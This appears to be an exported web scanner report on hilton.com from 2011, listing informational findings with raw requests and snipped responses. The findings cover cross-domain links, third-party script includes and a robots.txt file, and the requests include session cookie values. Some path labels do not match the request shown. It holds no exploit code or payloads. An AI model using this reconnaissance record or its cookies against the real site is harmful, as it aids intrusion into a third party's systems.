| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:12 GMT Connection: close Connection: Transfer-Encoding Content-Length: 33897 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR <html> <head> <title>My Favorite Hotels</title> <link rel ...[SNIP]... <li><a href="http://assistive ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www.hilton ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/ctg/index.jhtml |
| GET /en/hi/ctg/index.jhtml?it Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:11 GMT Connection: close Connection: Transfer-Encoding Content-Length: 38092 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title> Hilton Hotels - Travel Guides </title> <link ...[SNIP]... <NOSCRIPT> <IFRAME SRC="http://fls ...[SNIP]... <li><a href="http://assistive ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www.hilton ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/groups/index.jhtml |
| GET /en/hi/groups/index.jhtml Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:11 GMT Connection: close Connection: Transfer-Encoding Content-Length: 73945 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>Meeting Planner Tools & Information - Hilton Hotels e-Events</title> ...[SNIP]... <li><a href="http://assistive ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www.hilton ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search/city |
| GET /en/hi/hotels/search/city Host: www.hilton.com Proxy-Connection: keep-alive Referer: http://www1.hilton.com/en Cache-Control: max-age=0 Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Fri, 11 Feb 2011 01:55:42 GMT Connection: close Content-Length: 29530 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Hilton Hotels - Search Results for Groups and Meetings</title> <link rel="stylesheet ...[SNIP]... <li><a href="http://assistive ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www.hilton ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search |
| GET /en/hi/hotels/search Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:30 GMT Connection: close Connection: Transfer-Encoding Content-Length: 103065 <link rel="StyleSheet" href="hhonors/hh_search <link rel="StyleSheet" href="/en/hi/hotels ...[SNIP]... <li><a href="http://assistive ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www.hilton ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search |
| GET /en/hi/hotels/search Host: www.hilton.com Proxy-Connection: keep-alive Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Fri, 11 Feb 2011 02:16:20 GMT Connection: close Content-Length: 121389 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Search Results</title> <!-- Added for meta tag - e-event ...[SNIP]... <li><a href="http://assistive ...[SNIP]... </script> <script type="text/javascript" src="http://ajax ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www.hilton ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/HI |
| GET /en/hi/promotions/HI Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:51 GMT Connection: close Connection: Transfer-Encoding Content-Length: 37224 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD ...[SNIP]... <li><a href="http://assistive ...[SNIP]... <td colspan="2" style="vertical-align:top ...[SNIP]... <td style="padding-left:5px;" rowspan="2"><a href="http://www ...[SNIP]... <strong><a class="five" href="http://www ...[SNIP]... <td valign="middle" style="background-color: ...[SNIP]... <td style="padding-left:5px;" rowspan="2"><a href="http://hilton ...[SNIP]... <strong><a class="five" href="http://hilton ...[SNIP]... <td valign="middle" style="background-color: ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:47 GMT Connection: close Connection: Transfer-Encoding Content-Length: 83849 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD ...[SNIP]... <li><a href="http://assistive ...[SNIP]... <td height="160" colspan="3" align="center" valign="top" bgcolor="#F1F0F2"><object classid="clsid:D27CDB6E ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:57:11 GMT Content-Length: 32562 Connection: close <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hilton Free i ...[SNIP]... <li><a href="http://assistive ...[SNIP]... <td> <object classid="clsid:D27CDB6E ...[SNIP]... <font style="font-family:Arial, Helvetica, sans-serif; font-size:12px; color:#415968; line-height:16px">Stay in touch with Hilton. Download your <a href="http://itunes.apple ...[SNIP]... <td valign="top" style="padding:0px 30px 0px 0px"><a href="http://itunes.apple ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:10 GMT Connection: close Connection: Transfer-Encoding Content-Length: 34637 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD ...[SNIP]... <li><a href="http://assistive ...[SNIP]... <br /> <a href="http://www ...[SNIP]... <div style="margin:0px 0px 2px 0px; padding:0; width:170px; height:85px;"> <object classid="clsid:D27CDB6E ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:57:09 GMT Content-Length: 30993 Connection: close <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Stay Connecte ...[SNIP]... <li><a href="http://assistive ...[SNIP]... <td><object classid="clsid:D27CDB6E ...[SNIP]... <td align="left"><a href="http://www.twitter ...[SNIP]... <td align="center"><a href="http://www.facebook ...[SNIP]... <td align="right"><a href="http://www.youtube ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:46 GMT Connection: close Connection: Transfer-Encoding Content-Length: 42417 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Escape this Winter</TITLE> <META ...[SNIP]... <li><a href="http://assistive ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hilton |
| GET /en/hi/promotions/hilton Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:48 GMT Connection: close Connection: Transfer-Encoding Content-Length: 62666 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hotel Global ...[SNIP]... <li><a href="http://assistive ...[SNIP]... <div> <object classid="clsid:D27CDB6E ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions |
| GET /en/hi/promotions Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:57:07 GMT Connection: close Connection: Transfer-Encoding Content-Length: 66112 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hilton Hotels Advanced ...[SNIP]... <li><a href="http://assistive ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/index |
| GET /en/hi/promotions/index Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:46 GMT Connection: close Connection: Transfer-Encoding Content-Length: 129290 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hilton Hotels Specials & Packages - Featured Offers</TITLE> ...[SNIP]... <NOSCRIPT> <IFRAME SRC="http://fls ...[SNIP]... <li><a href="http://assistive ...[SNIP]... <nowrap> <a href="http://hiltonplus ...[SNIP]... <td rowspan="2" width="85" valign="top"> <a href="https://www ...[SNIP]... <td align="right"> <a href="https://www ...[SNIP]... <br><a href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www.hilton ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/resorts/index |
| GET /en/hi/resorts/index Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:26 GMT Connection: close Connection: Transfer-Encoding Content-Length: 40349 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Resorts & Spas</TITLE> <META name="description" content="Hilton Resorts & S ...[SNIP]... <li><a href="http://assistive ...[SNIP]... <td valign="top"><a href="http://www ...[SNIP]... <td valign="top" align="right"><a href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_WA" id="brandBarLi_WA"><a class="brandBarLiA" href="http://www ...[SNIP]... <li class="brandBarLi brandBarLi_HV" id="brandBarLi_HV"><a class="brandBarLiA" href="http://www ...[SNIP]... <li> <a href="http://assistive ...[SNIP]... <li> <a href="http://www Hilton Worldwide </a> ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www ...[SNIP]... <li><a href="http://www.hilton ...[SNIP]... <NOSCRIPT> <IMG id="DCSIMG" width="1" height="1" alt="DCSIMG" src="http://statse </NOSCRIPT> ...[SNIP]... </div> <script type="text/javascript" src="http://s3.amazonaws ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search |
| GET /en/hi/hotels/search Host: www.hilton.com Proxy-Connection: keep-alive Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Fri, 11 Feb 2011 02:16:20 GMT Connection: close Content-Length: 121389 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Search Results</title> <!-- Added for meta tag - e-event ...[SNIP]... </script> <script type="text/javascript" src="http://ajax ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/resorts/index |
| GET /en/hi/resorts/index Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:12 GMT Connection: close Connection: Transfer-Encoding Content-Length: 40344 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Resorts & Spas</TITLE> <META name="description" content="Hilton Resorts & S ...[SNIP]... </div> <script type="text/javascript" src="http://s3.amazonaws ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/signup/create |
| GET /robots.txt HTTP/1.0 Host: www.hilton.com |
| HTTP/1.0 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/plain ETag: "0-0-0-63cc" Last-Modified: Thu, 28 Jan 2010 20:51:29 GMT Cache-Control: private Date: Fri, 11 Feb 2011 01:51:24 GMT Content-Length: 25548 Connection: close # Daytime instructions for search engines # Do not visit Hilton.com during the day! User-agent: Googlebot Disallow: /guestlocale/ Disallow: /en/hhonors/login/owner Disallow: /en/hi/groups/ ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/brand/about.jhtml |
| GET /en/hi/brand/about.jhtml HTTP/1.1 Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:27 GMT Connection: close Connection: Transfer-Encoding Content-Length: 36819 <!-- <SETVALUE PARAM="content_head" VALUE="`fileURL("home <!-- <SETVALUE PARAM="content_footer" VALUE="`fileURL("home <!DOCTYPE HTML PUBLIC "-//W3C// ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/cart/index.jhtml |
